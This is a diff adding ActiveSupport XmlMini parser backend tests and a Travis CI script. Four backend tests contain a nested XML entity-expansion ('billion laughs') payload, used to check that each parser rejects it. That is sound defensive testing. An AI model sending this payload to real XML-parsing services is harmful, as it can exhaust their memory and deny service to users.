+ def test_setting_JDOM_as_backend
+ XmlMini.backend = 'JDOM'
+ assert_equal XmlMini_JDOM, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+ end
+
+else
+ # don't run these test because we aren't running in JRuby
+end
diff --git a/activesupport/test/xml_mini/libxml_engine_test.rb b/activesupport/test/xml_mini/libxml_engine_test.rb
new file mode 100644
index 0000000..e7cb350
--- /dev/null
+++ b/activesupport/test/xml_mini/libxml_engine_test.rb
@@ -0,0 +1,203 @@
+begin
+ require 'libxml'
+rescue LoadError
+ # Skip libxml tests
+else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
+
+class LibxmlEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'LibXML'
+
+ LibXML::XML::Error.set_handler(&lambda { |error| }) #silence libxml, exceptions will do
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise LibXML::XML::Error do
+ attack_xml = %{<?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ }
+ Hash.from_xml(attack_xml)
+ end
+ end
+
+ def test_setting_libxml_as_backend
+ XmlMini.backend = 'LibXML'
+ assert_equal XmlMini_LibXML, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ def test_parse_from_io
+ io = StringIO.new(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ assert_equal_rexml(io)
+ end
+
+ def test_children_with_simple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_multiple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text_and_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello <![CDATA[cdatablock]]>
+ morning
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products> </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text_and_attribute
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products type="file"> </products>
+ </root>
+ eoxml
+ end
+
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+end
+
+end
diff --git a/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
new file mode 100644
index 0000000..0748591
--- /dev/null
+++ b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
@@ -0,0 +1,194 @@
+begin
+ require 'libxml'
+rescue LoadError
+ # Skip libxml tests
+else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
+
+class LibXMLSAXEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'LibXMLSAX'
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise LibXML::XML::Error do
+ attack_xml = <<-EOT
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+
+ Hash.from_xml(attack_xml)
+ end
+ end
+
+ def test_setting_libxml_as_backend
+ XmlMini.backend = 'LibXMLSAX'
+ assert_equal XmlMini_LibXMLSAX, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ def test_parse_from_io
+ io = StringIO.new(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ assert_equal_rexml(io)
+ end
+
+ def test_children_with_simple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_multiple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text_and_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello <![CDATA[cdatablock]]>
+ morning
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products> </products>
+ </root>
+ eoxml
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+end
+
+end
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
new file mode 100644
index 0000000..9375177
--- /dev/null
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -0,0 +1,216 @@
+begin
+ require 'nokogiri'
+rescue LoadError
+ # Skip nokogiri tests
+else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
+
+class NokogiriEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'Nokogiri'
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_file_from_xml
+ hash = Hash.from_xml(<<-eoxml)
+ <blog>
+ <logo type="file" name="logo.png" content_type="image/png">
+ </logo>
+ </blog>
+ eoxml
+ assert hash.has_key?('blog')
+ assert hash['blog'].has_key?('logo')
+
+ file = hash['blog']['logo']
+ assert_equal 'logo.png', file.original_filename
+ assert_equal 'image/png', file.content_type
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise Nokogiri::XML::SyntaxError do
+ attack_xml = <<-EOT
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+ Hash.from_xml(attack_xml)
+ end
+ end
+
+ def test_setting_nokogiri_as_backend
+ XmlMini.backend = 'Nokogiri'
+ assert_equal XmlMini_Nokogiri, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ def test_parse_from_io
+ io = StringIO.new(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ assert_equal_rexml(io)
+ end
+
+ def test_children_with_simple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_multiple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text_and_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello <![CDATA[cdatablock]]>
+ morning
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products> </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text_and_attribute
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products type="file"> </products>
+ </root>
+ eoxml
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+end
+
+end
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
new file mode 100644
index 0000000..d4f63f6
--- /dev/null
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -0,0 +1,217 @@
+begin
+ require 'nokogiri'
+rescue LoadError
+ # Skip nokogiri tests
+else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
+
+class NokogiriSAXEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'NokogiriSAX'
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_file_from_xml
+ hash = Hash.from_xml(<<-eoxml)
+ <blog>
+ <logo type="file" name="logo.png" content_type="image/png">
+ </logo>
+ </blog>
+ eoxml
+ assert hash.has_key?('blog')
+ assert hash['blog'].has_key?('logo')
+
+ file = hash['blog']['logo']
+ assert_equal 'logo.png', file.original_filename
+ assert_equal 'image/png', file.content_type
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise RuntimeError do
+ attack_xml = <<-EOT
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+
+ Hash.from_xml(attack_xml)
+ end
+ end
+
+ def test_setting_nokogiri_as_backend
+ XmlMini.backend = 'Nokogiri'
+ assert_equal XmlMini_Nokogiri, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ def test_parse_from_io
+ io = StringIO.new(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ assert_equal_rexml(io)
+ end
+
+ def test_children_with_simple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_multiple_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text_and_cdata
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello <![CDATA[cdatablock]]>
+ morning
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products> </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_blank_text_and_attribute
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products type="file"> </products>
+ </root>
+ eoxml
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+end
+
+end
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
new file mode 100644
index 0000000..70a3b91
--- /dev/null
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -0,0 +1,36 @@
+require 'abstract_unit'
+require 'active_support/xml_mini'
+
+class REXMLEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ def test_default_is_rexml
+ assert_equal XmlMini_REXML, XmlMini.backend
+ end
+
+ def test_set_rexml_as_backend
+ XmlMini.backend = 'REXML'
+ assert_equal XmlMini_REXML, XmlMini.backend
+ end
+
+ def test_parse_from_io
+ XmlMini.backend = 'REXML'
+ io = StringIO.new(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ assert_equal_rexml(io)
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { parsed_xml }
+ assert_equal(hash, parsed_xml)
+ end
+end
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
new file mode 100644
index 0000000..a025279
--- /dev/null
+++ b/activesupport/test/xml_mini_test.rb
@@ -0,0 +1,164 @@
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/builder'
+
+module XmlMiniTest
+ class RenameKeyTest < ActiveSupport::TestCase
+ def test_rename_key_dasherizes_by_default
+ assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key")
+ end
+
+ def test_rename_key_does_nothing_with_dasherize_true
+ assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key", :dasherize => true)
+ end
+
+ def test_rename_key_does_nothing_with_dasherize_false
+ assert_equal "my_key", ActiveSupport::XmlMini.rename_key("my_key", :dasherize => false)
+ end
+
+ def test_rename_key_camelizes_with_camelize_true
+ assert_equal "MyKey", ActiveSupport::XmlMini.rename_key("my_key", :camelize => true)
+ end
+
+ def test_rename_key_lower_camelizes_with_camelize_lower
+ assert_equal "myKey", ActiveSupport::XmlMini.rename_key("my_key", :camelize => :lower)
+ end
+
+ def test_rename_key_lower_camelizes_with_camelize_upper
+ assert_equal "MyKey", ActiveSupport::XmlMini.rename_key("my_key", :camelize => :upper)
+ end
+
+ def test_rename_key_does_not_dasherize_leading_underscores
+ assert_equal "_id", ActiveSupport::XmlMini.rename_key("_id")
+ end
+
+ def test_rename_key_with_leading_underscore_dasherizes_interior_underscores
+ assert_equal "_my-key", ActiveSupport::XmlMini.rename_key("_my_key")
+ end
+
+ def test_rename_key_does_not_dasherize_trailing_underscores
+ assert_equal "id_", ActiveSupport::XmlMini.rename_key("id_")
+ end
+
+ def test_rename_key_with_trailing_underscore_dasherizes_interior_underscores
+ assert_equal "my-key_", ActiveSupport::XmlMini.rename_key("my_key_")
+ end
+
+ def test_rename_key_does_not_dasherize_multiple_leading_underscores
+ assert_equal "__id", ActiveSupport::XmlMini.rename_key("__id")
+ end
+
+ def test_rename_key_does_not_dasherize_multiple_trailing_underscores
+ assert_equal "id__", ActiveSupport::XmlMini.rename_key("id__")
+ end
+ end
+
+ class ToTagTest < ActiveSupport::TestCase
+ def assert_xml(xml)
+ assert_equal xml, @options[:builder].target!
+ end
+
+ def setup
+ @xml = ActiveSupport::XmlMini
+ @options = {:skip_instruct => true, :builder => Builder::XmlMarkup.new}
+ end
+
+ test "#to_tag accepts a callable object and passes options with the builder" do
+ @xml.to_tag(:some_tag, lambda {|o| o[:builder].br }, @options)
+ assert_xml "<br/>"
+ end
+
+ test "#to_tag accepts a callable object and passes options and tag name" do
+ @xml.to_tag(:tag, lambda {|o, t| o[:builder].b(t) }, @options)
+ assert_xml "<b>tag</b>"
+ end
+
+ test "#to_tag accepts an object responding to #to_xml and passes the options, where :root is key" do
+ obj = Object.new
+ obj.instance_eval do
+ def to_xml(options) options[:builder].yo(options[:root].to_s) end
+ end
+
+ @xml.to_tag(:tag, obj, @options)
+ assert_xml "<yo>tag</yo>"
+ end
+
+ test "#to_tag accepts arbitrary objects responding to #to_str" do
+ @xml.to_tag(:b, "Howdy", @options)
+ assert_xml "<b>Howdy</b>"
+ end
+
+ test "#to_tag should dasherize the space when passed a string with spaces as a key" do
+ @xml.to_tag("New York", 33, @options)
+ assert_xml "<New---York type=\"integer\">33</New---York>"
+ end
+
+ test "#to_tag should dasherize the space when passed a symbol with spaces as a key" do
+ @xml.to_tag(:"New York", 33, @options)
+ assert_xml "<New---York type=\"integer\">33</New---York>"
+ end
+ # TODO: test the remaining functions hidden in #to_tag.
+ end
+
+ class WithBackendTest < ActiveSupport::TestCase
+ module REXML end
+ module LibXML end
+ module Nokogiri end
+
+ setup do
+ @xml = ActiveSupport::XmlMini
+ end
+
+ test "#with_backend should switch backend and then switch back" do
+ @xml.backend = REXML
+ @xml.with_backend(LibXML) do
+ assert_equal LibXML, @xml.backend
+ @xml.with_backend(Nokogiri) do
+ assert_equal Nokogiri, @xml.backend
+ end
+ assert_equal LibXML, @xml.backend
+ end
+ assert_equal REXML, @xml.backend
+ end
+
+ test "backend switch inside #with_backend block" do
+ @xml.with_backend(LibXML) do
+ @xml.backend = REXML
+ assert_equal REXML, @xml.backend
+ end
+ assert_equal REXML, @xml.backend
+ end
+ end
+
+ class ThreadSafetyTest < ActiveSupport::TestCase
+ module REXML end
+ module LibXML end
+
+ setup do
+ @xml = ActiveSupport::XmlMini
+ end
+
+ test "#with_backend should be thread-safe" do
+ @xml.backend = REXML
+ t = Thread.new do
+ @xml.with_backend(LibXML) { sleep 1 }
+ end
+ sleep 0.1 while t.status != "sleep"
+
+ # We should get `old_backend` here even while another
+ # thread is using `new_backend`.
+ assert_equal REXML, @xml.backend
+ end
+
+ test "nested #with_backend should be thread-safe" do
+ @xml.with_backend(REXML) do
+ t = Thread.new do
+ @xml.with_backend(LibXML) { sleep 1 }
+ end
+ sleep 0.1 while t.status != "sleep"
+
+ assert_equal REXML, @xml.backend
+ end
+ end
+ end
+end
diff --git a/ci/travis.rb b/ci/travis.rb
new file mode 100755
index 0000000..9029c3f
--- /dev/null
+++ b/ci/travis.rb
@@ -0,0 +1,131 @@
+#!/usr/bin/env ruby
+require 'fileutils'
+include FileUtils
+
+commands = [
+ 'mysql -e "create database activerecord_unittest;"',
+ 'mysql -e "create database activerecord_unittest2;"',
+ 'psql -c "create database activerecord_unittest;" -U postgres',
+ 'psql -c "create database activerecord_unittest2;" -U postgres'
+]
+
+commands.each do |command|
+ system("#{command} > /dev/null 2>&1")
+end
+
+class Build
+ MAP = {
+ 'railties' => 'railties',
+ 'ap' => 'actionpack',
+ 'am' => 'actionmailer',
+ 'amo' => 'activemodel',
+ 'as' => 'activesupport',
+ 'ar' => 'activerecord'
+ }
+
+ attr_reader :component, :options
+
+ def initialize(component, options = {})
+ @component = component
+ @options = options
+ end
+
+ def run!(options = {})
+ self.options.update(options)
+ Dir.chdir(dir) do
+ announce(heading)
+ rake(*tasks)
+ end
+ end
+
+ def announce(heading)
+ puts "\n\e[1;33m[Travis CI] #{heading}\e[m\n"
+ end
+
+ def heading
+ heading = [gem]
+ heading << "with #{adapter}" if activerecord?
+ heading << "in isolation" if isolated?
+ heading.join(' ')
+ end
+
+ def tasks
+ if activerecord?
+ ['mysql:rebuild_databases', "#{adapter}:#{'isolated_' if isolated?}test"]
+ else
+ ["test#{':isolated' if isolated?}"]
+ end
+ end
+
+ def key
+ key = [gem]
+ key << adapter if activerecord?
+ key << 'isolated' if isolated?
+ key.join(':')
+ end
+
+ def activerecord?
+ gem == 'activerecord'
+ end
+
+ def isolated?
+ options[:isolated]
+ end
+
+ def gem
+ MAP[component.split(':').first]
+ end
+ alias :dir :gem
+
+ def adapter
+ component.split(':').last
+ end
+
+ def rake(*tasks)
+ tasks.each do |task|
+ cmd = "bundle exec rake #{task}"
+ puts "Running command: #{cmd}"
+ return false unless system(cmd)
+ end
+ true
+ end
+end
+
+results = {}
+
+ENV['GEM'].split(',').each do |gem|
+ [false, true].each do |isolated|
+ next if gem == 'railties' && isolated
+
+ build = Build.new(gem, :isolated => isolated)
+ results[build.key] = build.run!
+
+ end
+end
+
+# puts
+# puts "Build environment:"
+# puts " #{`cat /etc/issue`}"
+# puts " #{`uname -a`}"
+# puts " #{`ruby -v`}"
+# puts " #{`mysql --version`}"
+# puts " #{`pg_config --version`}"
+# puts " SQLite3: #{`sqlite3 -version`}"
+# `gem env`.each_line {|line| print " #{line}"}
+# puts " Bundled gems:"
+# `bundle show`.each_line {|line| print " #{line}"}
+# puts " Local gems:"
